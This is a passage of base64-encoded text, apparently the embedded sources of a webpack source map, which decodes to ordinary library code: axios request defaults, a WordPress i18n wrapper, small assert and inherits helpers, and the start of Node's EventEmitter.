HV0aWxzLmlzVW5kZWZpbmVkKGhlYWRlcnNbJ0NvbnRlbnQtVHlwZSddKSkge1xuICAgIGhlYWRlcnNbJ0NvbnRlbnQtVHlwZSddID0gdmFsdWU7XG4gIH1cbn1cblxuZnVuY3Rpb24gZ2V0RGVmYXVsdEFkYXB0ZXIoKSB7XG4gIHZhciBhZGFwdGVyO1xuICBpZiAodHlwZW9mIFhNTEh0dHBSZXF1ZXN0ICE9PSAndW5kZWZpbmVkJykge1xuICAgIC8vIEZvciBicm93c2VycyB1c2UgWEhSIGFkYXB0ZXJcbiAgICBhZGFwdGVyID0gcmVxdWlyZSgnLi9hZGFwdGVycy94aHInKTtcbiAgfSBlbHNlIGlmICh0eXBlb2YgcHJvY2VzcyAhPT0gJ3VuZGVmaW5lZCcpIHtcbiAgICAvLyBGb3Igbm9kZSB1c2UgSFRUUCBhZGFwdGVyXG4gICAgYWRhcHRlciA9IHJlcXVpcmUoJy4vYWRhcHRlcnMvaHR0cCcpO1xuICB9XG4gIHJldHVybiBhZGFwdGVyO1xufVxuXG52YXIgZGVmYXVsdHMgPSB7XG4gIGFkYXB0ZXI6IGdldERlZmF1bHRBZGFwdGVyKCksXG5cbiAgdHJhbnNmb3JtUmVxdWVzdDogW2Z1bmN0aW9uIHRyYW5zZm9ybVJlcXVlc3QoZGF0YSwgaGVhZGVycykge1xuICAgIG5vcm1hbGl6ZUhlYWRlck5hbWUoaGVhZGVycywgJ0NvbnRlbnQtVHlwZScpO1xuICAgIGlmICh1dGlscy5pc0Zvcm1EYXRhKGRhdGEpIHx8XG4gICAgICB1dGlscy5pc0FycmF5QnVmZmVyKGRhdGEpIHx8XG4gICAgICB1dGlscy5pc0J1ZmZlcihkYXRhKSB8fFxuICAgICAgdXRpbHMuaXNTdHJlYW0oZGF0YSkgfHxcbiAgICAgIHV0aWxzLmlzRmlsZShkYXRhKSB8fFxuICAgICAgdXRpbHMuaXNCbG9iKGRhdGEpXG4gICAgKSB7XG4gICAgICByZXR1cm4gZGF0YTtcbiAgICB9XG4gICAgaWYgKHV0aWxzLmlzQXJyYXlCdWZmZXJWaWV3KGRhdGEpKSB7XG4gICAgICByZXR1cm4gZGF0YS5idWZmZXI7XG4gICAgfVxuICAgIGlmICh1dGlscy5pc1VSTFNlYXJjaFBhcmFtcyhkYXRhKSkge1xuICAgICAgc2V0Q29udGVudFR5cGVJZlVuc2V0KGhlYWRlcnMsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7Y2hhcnNldD11dGYtOCcpO1xuICAgICAgcmV0dXJuIGRhdGEudG9TdHJpbmcoKTtcbiAgICB9XG4gICAgaWYgKHV0aWxzLmlzT2JqZWN0KGRhdGEpKSB7XG4gICAgICBzZXRDb250ZW50VHlwZUlmVW5zZXQoaGVhZGVycywgJ2FwcGxpY2F0aW9uL2pzb247Y2hhcnNldD11dGYtOCcpO1xuICAgICAgcmV0dXJuIEpTT04uc3RyaW5naWZ5KGRhdGEpO1xuICAgIH1cbiAgICByZXR1cm4gZGF0YTtcbiAgfV0sXG5cbiAgdHJhbnNmb3JtUmVzcG9uc2U6IFtmdW5jdGlvbiB0cmFuc2Zvcm1SZXNwb25zZShkYXRhKSB7XG4gICAgLyplc2xpbnQgbm8tcGFyYW0tcmVhc3NpZ246MCovXG4gICAgaWYgKHR5cGVvZiBkYXRhID09PSAnc3RyaW5nJykge1xuICAgICAgdHJ5IHtcbiAgICAgICAgZGF0YSA9IEpTT04ucGFyc2UoZGF0YSk7XG4gICAgICB9IGNhdGNoIChlKSB7IC8qIElnbm9yZSAqLyB9XG4gICAgfVxuICAgIHJldHVybiBkYXRhO1xuICB9XSxcblxuICAvKipcbiAgICogQSB0aW1lb3V0IGluIG1pbGxpc2Vjb25kcyB0byBhYm9ydCBhIHJlcXVlc3QuIElmIHNldCB0byAwIChkZWZhdWx0KSBhXG4gICAqIHRpbWVvdXQgaXMgbm90IGNyZWF0ZWQuXG4gICAqL1xuICB0aW1lb3V0OiAwLFxuXG4gIHhzcmZDb29raWVOYW1lOiAnWFNSRi1UT0tFTicsXG4gIHhzcmZIZWFkZXJOYW1lOiAnWC1YU1JGLVRPS0VOJyxcblxuICBtYXhDb250ZW50TGVuZ3RoOiAtMSxcblxuICB2YWxpZGF0ZVN0YXR1czogZnVuY3Rpb24gdmFsaWRhdGVTdGF0dXMoc3RhdHVzKSB7XG4gICAgcmV0dXJuIHN0YXR1cyA+PSAyMDAgJiYgc3RhdHVzIDwgMzAwO1xuICB9XG59O1xuXG5kZWZhdWx0cy5oZWFkZXJzID0ge1xuICBjb21tb246IHtcbiAgICAnQWNjZXB0JzogJ2FwcGxpY2F0aW9uL2pzb24sIHRleHQvcGxhaW4sICovKidcbiAgfVxufTtcblxudXRpbHMuZm9yRWFjaChbJ2RlbGV0ZScsICdnZXQnLCAnaGVhZCddLCBmdW5jdGlvbiBmb3JFYWNoTWV0aG9kTm9EYXRhKG1ldGhvZCkge1xuICBkZWZhdWx0cy5oZWFkZXJzW21ldGhvZF0gPSB7fTtcbn0pO1xuXG51dGlscy5mb3JFYWNoKFsncG9zdCcsICdwdXQnLCAncGF0Y2gnXSwgZnVuY3Rpb24gZm9yRWFjaE1ldGhvZFdpdGhEYXRhKG1ldGhvZCkge1xuICBkZWZhdWx0cy5oZWFkZXJzW21ldGhvZF0gPSB1dGlscy5tZXJnZShERUZBVUxUX0NPTlRFTlRfVFlQRSk7XG59KTtcblxubW9kdWxlLmV4cG9ydHMgPSBkZWZhdWx0cztcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2F4aW9zL2xpYi9kZWZhdWx0cy5qc1xuLy8gbW9kdWxlIGlkID0gNTBcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIvKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG52YXIgSTE4TiA9IHJlcXVpcmUoICcuL2xpYicgKSxcblx0aTE4biA9IG5ldyBJMThOKCk7XG5cbm1vZHVsZS5leHBvcnRzID0ge1xuXHRudW1iZXJGb3JtYXQ6IGkxOG4ubnVtYmVyRm9ybWF0LmJpbmQoIGkxOG4gKSxcblx0dHJhbnNsYXRlOiBpMThuLnRyYW5zbGF0ZS5iaW5kKCBpMThuICksXG5cdGNvbmZpZ3VyZTogaTE4bi5jb25maWd1cmUuYmluZCggaTE4biApLFxuXHRzZXRMb2NhbGU6IGkxOG4uc2V0TG9jYWxlLmJpbmQoIGkxOG4gKSxcblx0Z2V0TG9jYWxlOiBpMThuLmdldExvY2FsZS5iaW5kKCBpMThuICksXG5cdGdldExvY2FsZVNsdWc6IGkxOG4uZ2V0TG9jYWxlU2x1Zy5iaW5kKCBpMThuICksXG5cdGFkZFRyYW5zbGF0aW9uczogaTE4bi5hZGRUcmFuc2xhdGlvbnMuYmluZCggaTE4biApLFxuXHRyZVJlbmRlclRyYW5zbGF0aW9uczogaTE4bi5yZVJlbmRlclRyYW5zbGF0aW9ucy5iaW5kKCBpMThuICksXG5cdHJlZ2lzdGVyQ29tcG9uZW50VXBkYXRlSG9vazogaTE4bi5yZWdpc3RlckNvbXBvbmVudFVwZGF0ZUhvb2suYmluZCggaTE4biApLFxuXHRyZWdpc3RlclRyYW5zbGF0ZUhvb2s6IGkxOG4ucmVnaXN0ZXJUcmFuc2xhdGVIb29rLmJpbmQoIGkxOG4gKSxcblx0c3RhdGU6IGkxOG4uc3RhdGUsXG5cdHN0YXRlT2JzZXJ2ZXI6IGkxOG4uc3RhdGVPYnNlcnZlcixcblx0b246IGkxOG4uc3RhdGVPYnNlcnZlci5vbi5iaW5kKGkxOG4uc3RhdGVPYnNlcnZlciksXG5cdG9mZjogaTE4bi5zdGF0ZU9ic2VydmVyLnJlbW92ZUxpc3RlbmVyLmJpbmQoaTE4bi5zdGF0ZU9ic2VydmVyKSxcblx0ZW1pdDogaTE4bi5zdGF0ZU9ic2VydmVyLmVtaXQuYmluZChpMThuLnN0YXRlT2JzZXJ2ZXIpLFxuXHRsb2NhbGl6ZTogcmVxdWlyZSggJy4vbGliL2xvY2FsaXplJyApKCBpMThuICksXG5cdCR0aGlzOiBpMThuLFxuXHRJMThOOiBJMThOXG59O1xuXG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9pMThuLXdwLXBsdWdpbi9pbmRleC5qc1xuLy8gbW9kdWxlIGlkID0gNTJcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQgNSIsIm1vZHVsZS5leHBvcnRzID0gYXNzZXJ0O1xuXG5mdW5jdGlvbiBhc3NlcnQodmFsLCBtc2cpIHtcbiAgaWYgKCF2YWwpXG4gICAgdGhyb3cgbmV3IEVycm9yKG1zZyB8fCAnQXNzZXJ0aW9uIGZhaWxlZCcpO1xufVxuXG5hc3NlcnQuZXF1YWwgPSBmdW5jdGlvbiBhc3NlcnRFcXVhbChsLCByLCBtc2cpIHtcbiAgaWYgKGwgIT0gcilcbiAgICB0aHJvdyBuZXcgRXJyb3IobXNnIHx8ICgnQXNzZXJ0aW9uIGZhaWxlZDogJyArIGwgKyAnICE9ICcgKyByKSk7XG59O1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvbWluaW1hbGlzdGljLWFzc2VydC9pbmRleC5qc1xuLy8gbW9kdWxlIGlkID0gNTRcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQgNSIsImlmICh0eXBlb2YgT2JqZWN0LmNyZWF0ZSA9PT0gJ2Z1bmN0aW9uJykge1xuICAvLyBpbXBsZW1lbnRhdGlvbiBmcm9tIHN0YW5kYXJkIG5vZGUuanMgJ3V0aWwnIG1vZHVsZVxuICBtb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIGluaGVyaXRzKGN0b3IsIHN1cGVyQ3Rvcikge1xuICAgIGN0b3Iuc3VwZXJfID0gc3VwZXJDdG9yXG4gICAgY3Rvci5wcm90b3R5cGUgPSBPYmplY3QuY3JlYXRlKHN1cGVyQ3Rvci5wcm90b3R5cGUsIHtcbiAgICAgIGNvbnN0cnVjdG9yOiB7XG4gICAgICAgIHZhbHVlOiBjdG9yLFxuICAgICAgICBlbnVtZXJhYmxlOiBmYWxzZSxcbiAgICAgICAgd3JpdGFibGU6IHRydWUsXG4gICAgICAgIGNvbmZpZ3VyYWJsZTogdHJ1ZVxuICAgICAgfVxuICAgIH0pO1xuICB9O1xufSBlbHNlIHtcbiAgLy8gb2xkIHNjaG9vbCBzaGltIGZvciBvbGQgYnJvd3NlcnNcbiAgbW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiBpbmhlcml0cyhjdG9yLCBzdXBlckN0b3IpIHtcbiAgICBjdG9yLnN1cGVyXyA9IHN1cGVyQ3RvclxuICAgIHZhciBUZW1wQ3RvciA9IGZ1bmN0aW9uICgpIHt9XG4gICAgVGVtcEN0b3IucHJvdG90eXBlID0gc3VwZXJDdG9yLnByb3RvdHlwZVxuICAgIGN0b3IucHJvdG90eXBlID0gbmV3IFRlbXBDdG9yKClcbiAgICBjdG9yLnByb3RvdHlwZS5jb25zdHJ1Y3RvciA9IGN0b3JcbiAgfVxufVxuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvaW5oZXJpdHMvaW5oZXJpdHNfYnJvd3Nlci5qc1xuLy8gbW9kdWxlIGlkID0gNTVcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQgNSIsIi8vIENvcHlyaWdodCBKb3llbnQsIEluYy4gYW5kIG90aGVyIE5vZGUgY29udHJpYnV0b3JzLlxuLy9cbi8vIFBlcm1pc3Npb24gaXMgaGVyZWJ5IGdyYW50ZWQsIGZyZWUgb2YgY2hhcmdlLCB0byBhbnkgcGVyc29uIG9idGFpbmluZyBhXG4vLyBjb3B5IG9mIHRoaXMgc29mdHdhcmUgYW5kIGFzc29jaWF0ZWQgZG9jdW1lbnRhdGlvbiBmaWxlcyAodGhlXG4vLyBcIlNvZnR3YXJlXCIpLCB0byBkZWFsIGluIHRoZSBTb2Z0d2FyZSB3aXRob3V0IHJlc3RyaWN0aW9uLCBpbmNsdWRpbmdcbi8vIHdpdGhvdXQgbGltaXRhdGlvbiB0aGUgcmlnaHRzIHRvIHVzZSwgY29weSwgbW9kaWZ5LCBtZXJnZSwgcHVibGlzaCxcbi8vIGRpc3RyaWJ1dGUsIHN1YmxpY2Vuc2UsIGFuZC9vciBzZWxsIGNvcGllcyBvZiB0aGUgU29mdHdhcmUsIGFuZCB0byBwZXJtaXRcbi8vIHBlcnNvbnMgdG8gd2hvbSB0aGUgU29mdHdhcmUgaXMgZnVybmlzaGVkIHRvIGRvIHNvLCBzdWJqZWN0IHRvIHRoZVxuLy8gZm9sbG93aW5nIGNvbmRpdGlvbnM6XG4vL1xuLy8gVGhlIGFib3ZlIGNvcHlyaWdodCBub3RpY2UgYW5kIHRoaXMgcGVybWlzc2lvbiBub3RpY2Ugc2hhbGwgYmUgaW5jbHVkZWRcbi8vIGluIGFsbCBjb3BpZXMgb3Igc3Vic3RhbnRpYWwgcG9ydGlvbnMgb2YgdGhlIFNvZnR3YXJlLlxuLy9cbi8vIFRIRSBTT0ZUV0FSRSBJUyBQUk9WSURFRCBcIkFTIElTXCIsIFdJVEhPVVQgV0FSUkFOVFkgT0YgQU5ZIEtJTkQsIEVYUFJFU1Ncbi8vIE9SIElNUExJRUQsIElOQ0xVRElORyBCVVQgTk9UIExJTUlURUQgVE8gVEhFIFdBUlJBTlRJRVMgT0Zcbi8vIE1FUkNIQU5UQUJJTElUWSwgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UgQU5EIE5PTklORlJJTkdFTUVOVC4gSU5cbi8vIE5PIEVWRU5UIFNIQUxMIFRIRSBBVVRIT1JTIE9SIENPUFlSSUdIVCBIT0xERVJTIEJFIExJQUJMRSBGT1IgQU5ZIENMQUlNLFxuLy8gREFNQUdFUyBPUiBPVEhFUiBMSUFCSUxJVFksIFdIRVRIRVIgSU4gQU4gQUNUSU9OIE9GIENPTlRSQUNULCBUT1JUIE9SXG4vLyBPVEhFUldJU0UsIEFSSVNJTkcgRlJPTSwgT1VUIE9GIE9SIElOIENPTk5FQ1RJT04gV0lUSCBUSEUgU09GVFdBUkUgT1IgVEhFXG4vLyBVU0UgT1IgT1RIRVIgREVBTElOR1MgSU4gVEhFIFNPRlRXQVJFLlxuXG5mdW5jdGlvbiBFdmVudEVtaXR0ZXIoKSB7XG4gIHRoaXMuX2V2ZW50cyA9IHRoaXMuX2V2ZW50cyB8fCB7fTtcbiAgdGhpcy5fbWF4TGlzdGVuZXJzID0gdGhpcy5fbWF4TGlzdGVuZXJzIHx8IHVuZGVmaW5lZDtcbn1cbm1vZHVsZS5leHBvcnRzID0gRXZlbnRFbWl0dGVyO1xuXG4vLyBCYWNrd2FyZHMtY29tcGF0IHdpdGggbm9kZSAwLjEwLnhcbkV2ZW50RW1pdHRlci5FdmVudEVtaXR0ZXIgPSBFdmVudEVtaXR0ZXI7XG5cbkV2ZW50RW1pdHRlci5wcm90b3R5cGUuX2V2ZW50cyA9IHVuZGVmaW5lZDtcbkV2ZW50RW1pdHRlci5wcm90b3R5cGUuX21heExpc3RlbmVycyA9IHVuZGVmaW5lZDtcblxuLy8gQnkgZGVmYXVsdCBFdmVudEVtaXR0ZXJzIHdpbGwgcHJpbnQgYSB3YXJuaW5nIGlmIG1vcmUgdGhhbiAxMCBsaXN0ZW5lcnMgYXJlXG4vLyBhZGRlZCB0byBpdC4gVGhpcyBpcyBhIHVzZWZ1bCBkZWZhdWx0IHdoaWNoIGhlbHBzIGZpbmRpbmcgbWVtb3J5IGxlYWtzLlxuRXZlbnRFbWl0dGVyLmRlZmF1bHRNYXhMaXN0ZW5lcnMgPSAxMDtcblxuLy8gT2J2aW91c2x5IG5vdCBhbGwgRW1pdHRlcnMgc2hvdWxkIGJlIGxpbWl0ZWQgdG8gMTAuIFRoaXMgZnVuY3Rpb24gYWxsb3dzXG4vLyB0aGF0IHRvIGJlIGluY3JlYXNlZC4gU2V0IHRvIHplcm8gZm9yIHVubGltaXRlZC5cbkV2ZW50RW1pdHRlci5wcm90b3R5cGUuc2V0TWF4TGlzdGVuZXJzID0gZnVuY3Rpb24obikge1xuICBpZiAoIWlzTnVtYmVyKG4pIHx8IG4gPCAwIHx8IGlzTmFOKG4pKVxuICAgIHRocm93IFR5cGVFcnJvcignbiBtdXN0IGJlIGEgcG9zaXRpdmUgbnVtYmVyJyk7XG4gIHRoaXMuX21heExpc3RlbmVycyA9IG47XG4gIHJldHVybiB0aGlzO1xufTtcblxuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5lbWl0ID0gZnVuY3Rpb24odHlwZSkge1xuICB2YXIgZXIsIGhhbmRsZXIsIGxlbiwgYXJncywgaSwgbGlzdGVuZXJzO1xuXG4gIGlmICghdGhpcy5fZXZlbnRzKVxuICAgIHRoaXMuX2V2ZW50cyA9IHt9O1xuXG4gIC8vIElmIHRoZXJlIGlzIG5vICdlcnJvcicgZXZlbnQgbGlzdGVuZXIgdGhlbiB0aHJvdy5cbiAgaWYgKHR5cGUgPT09ICdlcnJvcicpIHtcbiAgICBpZiAoIXRoaXMuX2V2ZW50cy5lcnJvciB8fFxuICAgICAgICAoaXNPYmplY3QodGhpcy5fZXZlbnRzLmVycm9yKSAmJiAhdGhpcy5fZXZlbnRzLmVycm9yLmxlbmd0aCkpIHtcbiAgICAgIGVyID0gYXJndW1lbnRzWzFdO1xuICAgICAgaWYgKGVyIGluc3RhbmNlb2YgRXJyb3IpIHtcbiAgICAgICAgdGhyb3cgZXI7IC8vIFVuaGFuZGxlZCAnZXJyb3InIGV2ZW50XG4gICAgICB9IGVsc2Uge1xuICAgICAgICAvLyBBdCBsZWFzdCBnaXZlIHNvbWUga2luZCBvZiBjb250ZXh0IHRvIHRoZSB1c2VyXG4gICAgICAgIHZhciBlcnIgPSBuZXcgRXJyb3IoJ1VuY2F1Z2h0LCB1bnNwZWNpZmllZCBcImVycm9yXCIgZXZlbnQuICgnICsgZXIgKyAnKScpO1xuICAgICAgICBlcnIuY29udGV4dCA9IGVyO1xuICAgICAgICB0aHJvdyBlcnI7XG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgaGFuZGxlciA9IHRoaXMuX2V2ZW50c1t0eXBlXTtcblxuICBpZiAoaXNVbmRlZmluZWQoaGFuZGxlcikpXG4gICAgcmV0dXJuIGZhbHNlO1xuXG4gIGlmIChpc0Z1bmN0aW9uKGhhbmRsZXIpKSB7XG4gICAgc3dpdGNoIChhcmd1bWVudHMubGVuZ3RoKSB7XG4gICAgICAvLyBmYXN0IGNhc2VzXG4gICAgICBjYXNlIDE6XG4gICAgICAgIGhhbmRsZXIuY2FsbCh0aGlzKTtcbiAgICAgICAgYnJlYWs7XG4gICAgICBjYXNlIDI6XG4gICAgICAgIGhhbmRsZXIuY2FsbCh0aGlzLCBhcmd1bWVudHNbMV0pO1xuICAgICAgICBicmVhaztcbiAgICAgIGNhc2UgMzpcbiAgICAgICAgaGFuZGxlci5jYWxsKHRoaXMsIGFyZ3VtZW50c1sxXSwgYXJndW1lbnRzWzJdKTtcbiAgICAgICAgYnJlYWs7XG4gICAgICAvLyBzbG93ZXJcbiAgICAgIGRlZmF1bHQ6XG4gICAgICAgIGFyZ3MgPSBBcnJheS5wcm90b3R5cGUuc2xpY2UuY2FsbChhcmd1bWVudHMsIDEpO1xuICAgICAgICBoYW5kbGVyLmFwcGx5KHRoaXMsIGFyZ3MpO1xuICAgIH1cbiAgfSBlbHNlIGlmIChpc09iamVjdChoYW5kbGVyKSkge1xuICAgIGFyZ3MgPSBBcnJheS5wcm90b3R5cGUuc2xpY2UuY2FsbChhcmd1bWVudHMsIDEpO1xuICAgIGxpc3RlbmVycyA9IGhhbmRsZXIuc2xpY2UoKTtcbiAgICBsZW4gPSBsaXN0ZW5lcnMubGVuZ3RoO1xuICAgIGZvciAoaSA9IDA7IGkgPCBsZW47IGkrKylcbiAgICAgIGxpc3RlbmVyc1tpXS5hcHBseSh0aGlzLCBhcmdzKTtcbiAgfVxuXG4gIHJldHVybiB0cnVlO1xufTtcblxuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5hZGRMaXN0ZW5lciA9IGZ1bmN0aW9uKHR5cGUsIGxpc3RlbmVyKSB7XG4gIHZhciBtO1xuXG4gIGlmICghaXNGdW5jdGlvbihsaXN0ZW5lcikpXG4gICAgdGhyb3cgVHlwZUVycm9yKCdsaXN0ZW5lciBtdXN0IGJlIGEgZnVuY3Rpb24nKTtcblxuICBpZiAoIXRoaXMuX2V2ZW50cylcbiAgICB0aGlzLl9ldmVudHMgPSB7fTtcblxuICAvLyBUbyBhdm9pZCByZWN1cnNpb24gaW4gdGhlIGNhc2UgdGhhdCB0eXBlID09PSBcIm5ld0xpc3RlbmVyXCIhIEJlZm9yZVxuICAvLyBhZGRpbmcgaXQgdG8gdGhlIGxpc3RlbmVycywgZmlyc3QgZW1pdCBcIm5ld0xpc3RlbmVyXCIuXG4gIGlmICh0aGlzLl9ldmVudHMubmV3TGlzdGVuZXIpXG4gICAgdGhpcy5lbWl0KCduZXdMaXN0ZW5lcicsIHR5cGUsXG4gICAgICAgICAgICAgIGlzRnVuY3Rpb24obGlzdGVuZXIubGlzdGVuZXIpID9cbiAgICAgICAgICAgICAgbGlzdGVuZXIubGlzdGVuZXIgOiBsaXN0ZW5lcik7XG5cbiAgaWYgKCF0aGlzLl9ldmVudHNbdHlwZV0pXG4gICAgLy8gT3B0aW1pemUgdGhlIGNhc2Ugb2Ygb25lIGxpc3RlbmVyLiBEb24ndCBuZWVkIHRoZSBleHRyYSBhcnJheSBvYmplY3QuXG4gICAgdGhpcy5fZXZlbnRzW3R5cGVdID0gbGlzdGVuZXI7XG4gIGVsc2UgaWYgKGlzT2JqZWN0KHRoaXMuX2V2ZW50c1t0eXBlXSkpXG4gICAgLy8gSWYgd2UndmUgYWxyZWFkeSBnb3QgYW4gYXJyYXksIGp1c3QgYXBwZW5kLlxuICAgIHRoaXMuX2V2ZW50c1t0eXBlXS5wdXNoKGxpc3RlbmVyKTtcbiAgZWxzZVxuICAgIC8vIEFkZGluZyB0aGUgc2Vjb25kIGVsZW1lbnQsIG5lZWQgdG8gY2hhbmdlIHRvIGFycmF5LlxuICAgIHRoaXMuX2V2ZW50c1t0eXBlXSA9IFt0aGlzLl9ldmVudHNbdHlwZV0sIGxpc3RlbmVyXTtcblxuICAvLyBDaGVjayBmb3IgbGlzdGVuZXIgbGVha1xuICBpZiAoaXNPYmplY3QodGhpcy5fZXZlbnRzW3R5cGVdKSAmJiAhdGhpcy5fZXZlbnRzW3R5cGVdLndhcm5lZCkge1xuICAgIGlmICghaXNVbmRlZmluZWQodGhpcy5fbWF4TGlzdGVuZXJzKSkge1xuICAgICAgbSA9IHRoaXMuX21heExpc3RlbmVycztcbiAgICB9IGVsc2Uge1xuICAgICAgbSA9IEV2ZW50RW1pdHRlci5kZWZhdWx0TWF4TGlzdGVuZXJzO1xuICAgIH1cblxuICAgIGlmIChtICYmIG0gPiAwICYmIHRoaXMuX2V2ZW50c1t0eXBlXS5sZW5ndGggPiBtKSB7XG4gICAgICB0aGlzLl9ldmVudHNbdHlwZV0ud2FybmVkID0gdHJ1ZTtcbiAgICAgIGNvbnNvbGUuZXJyb3IoJyhub2RlKSB3YXJuaW5nOiBwb3NzaWJsZSBFdmVudEVtaXR0ZXIgbWVtb3J5ICcgK1xuICAgICAgICAgICAgICAgICAgICAnbGVhayBkZXRlY3RlZC4gJWQgbGlzdGVuZXJzIGFkZGVkLiAnICtcbiAgICAgICAgICAgICAgICAgICAgJ1VzZSBlbWl0dGVyLnNldE1heExpc3RlbmVycygpIHRvIGluY3JlYXNlIGxpbWl0LicsXG4gICAgICAgICAgICAgICAgICAgIHRoaXMuX2V2ZW50c1t0eXBlXS5sZW5ndGgpO1xuICAgICAgaWYgKHR5cGVvZiBjb25zb2xlLnRyYWNlID09PSAnZnVuY3Rpb24nKSB7XG4gICAgICAgIC8vIG5vdCBzdXBwb3J0ZWQgaW4gSUUgMTBcbiAgICAgICAgY29uc29sZS50cmFjZSgpO1xuICAgICAgfVxuICAgIH1cbiAgfVxuXG4gIHJldHVybiB0aGlzO1xufTtcblxuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5vbiA9IEV2ZW50RW1pdHRlci5wcm90b3R5cGUuYWRkTGlzdGVuZXI7XG5cbkV2ZW50RW1pdHRlci5wcm90b3R5cGUub25jZSA9IGZ1bmN0aW9uKHR5cGUsIGxpc3RlbmVyKSB7XG4gIGlmICghaXNGdW5jdGlvbihsaXN0ZW5lcikpXG4gICAgdGhyb3cgVHlwZUVycm9yKCdsaXN0ZW5lciBtdXN0IGJlIGEgZnVuY3Rpb24nKTtcblxuICB2YXIgZmlyZWQgPSBmYWxzZTtcblxuICBmdW5jdGlvbiBnKCkge1xuICAgIHRoaXMucmVtb3ZlTGlzdGVuZXIodHlwZSwgZyk7XG5cbiAgICBpZiAoIWZpcmVkKSB7XG4gICAgICBmaXJlZCA9IHRydWU7XG4gICAgICBsaXN0ZW5lci5hcHBseSh0aGlzLCBhcmd1bWVudHMpO1xuICAgIH1cbiAgfVxuXG4gIGcubGlzdGVuZXIgPSBsaXN0ZW5lcjtcbiAgdGhpcy5vbih0eXBlLCBnKTtcblxuICByZXR1cm4gdGhpcztcbn07XG5cbi8vIGVtaXRzIGEgJ3JlbW92ZUxpc3RlbmVyJyBldmVudCBpZmYgdGhlIGxpc3RlbmVyIHdhcyByZW1vdmVkXG5FdmVudEVtaXR0ZXIucHJvdG90eXBlLnJlbW92ZUxpc3RlbmVyID0gZnVuY3Rpb24odHlwZSwgbGlzdGVuZXIpIHtcbiAgdmFyIGxpc3QsIHBvc2l0aW9uLCBsZW5ndGgsIGk7XG5cbiAgaWYgKCFpc0Z1bmN0aW9uKGxpc3RlbmVyKSlcbiAgICB0aHJvdyBUeXBlRXJyb3IoJ2xpc3RlbmVyIG11c3QgYmUgYSBmdW5jdGlvbicpO1xuXG4gIGlmICghdGhpcy5fZXZlbnRzIHx8ICF0aGlzLl9ldmVudHNbdHlwZV0pXG4gICAgcmV0dXJuIHRoaXM7XG5cbiAgbGlzdCA9IHRoaXMuX2V2ZW50c1t0eXBlXTtcbiAgbGVuZ3RoID0gbGlzdC5sZW5ndGg7XG4gIHBvc2l0aW9uID0gLTE7XG5cbiAgaWYgKGxpc3QgPT09IGxpc3RlbmVyIHx8XG4gICAgICAoaXNGdW5jdGlvbihsaXN0Lmxpc3RlbmVyKSAmJiBsaXN0Lmxpc3RlbmVyID09PSBsaXN0ZW5lcikpIHtcbiAgICBkZWxldGUgdGhpcy5fZXZlbnRzW3R5cGVdO1xuICAgIGlmICh0aGlzLl9ldmVudHMucmVtb3ZlTGlzdGVuZXIpXG4gICAgICB0aGlzLmVtaXQoJ3JlbW92ZUxpc3RlbmVyJywgdHlwZSwgbGlzdGVuZXIpO1xuXG4gIH0gZWxzZSBpZiAoaXNPYmplY3QobGlzdCkpIHtcbiAgICBmb3IgKGkgPSBsZW5ndGg7IGktLSA+IDA7KSB7XG4gICAgICBpZiAobGlzdFtpXSA9PT0gbGlzdGVuZXIgfHxcbiAgICAgICAgICAobGlzdFtpXS5saXN0ZW5lciAmJiBsaXN0W2ldLmxpc3RlbmVyID09PSBsaXN0ZW5lcikpIHtcbiAgICAgICAgcG9zaXRpb24gPSBpO1xuICAgICAgICBicmVhaztcbiAgICAgIH1cbiAgICB9XG5cbiAgICBpZiAocG9zaXRpb24gPCAwKVxuICAgICAgcmV0dXJuIHRoaXM7XG5cbiAgICBpZiAobGlzdC5sZW5ndGggPT09IDEpIHtcbiAgICAgIGxpc3QubGVuZ3RoID0gMDtcbiAgICAgIGRlbGV0ZSB0aGlzLl9ldmVudHNbdHlwZV07XG4gICAgfSBlbHNlIHtcbiAgICAgIGxpc3Quc3BsaWNlKHBvc2l0aW9uLCAxKTtcbiAgICB9XG5cbiAgICBpZiAodGhpcy5fZXZlbnRzLnJlbW92ZUxpc3RlbmVyKVxuICAgICAgdGhpcy5lbWl0KCdyZW1vdmVMaXN0ZW5lcicsIHR5cGUsIGxpc3RlbmVyKTtcbiAgfVxuXG4gIHJldHVybiB0aGlzO1xufTtcblxuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5yZW1vdmVBbGxMaXN0ZW5lcnMgPSBmdW5jdGlvbih0eXBlKSB7XG4gIHZhciBrZXksIGxpc3RlbmVycztcblxuICBpZiAoIXRoaXMuX2V2ZW50cylcbiAgICByZXR1cm4gdGhpcztcblxuICAvLyBub3QgbGlzdGVuaW5nIGZvciByZW1vdmVMaXN0ZW5lciwgbm8gbmVlZCB0byBlbWl0XG4gIGlmICghdGhpcy5fZXZlbnRzLnJlbW92ZUxpc3RlbmVyKSB7XG4gICAgaWYgKGFyZ3VtZW50cy5sZW5ndGggPT09IDApXG4gICAgICB0aGlzLl9ldmVudHMgPSB7fTtcbiAgICBlbHNlIGlmICh0aGlzLl9ldmVudHNbdHlwZV0pXG4gICAgICBkZWxldGUgdGhpcy5fZXZlbnRzW3R5cGVdO1xuICAgIHJldHVybiB0aGlzO1xuICB9XG5cbiAgLy8gZW1pdCByZW1vdmVMa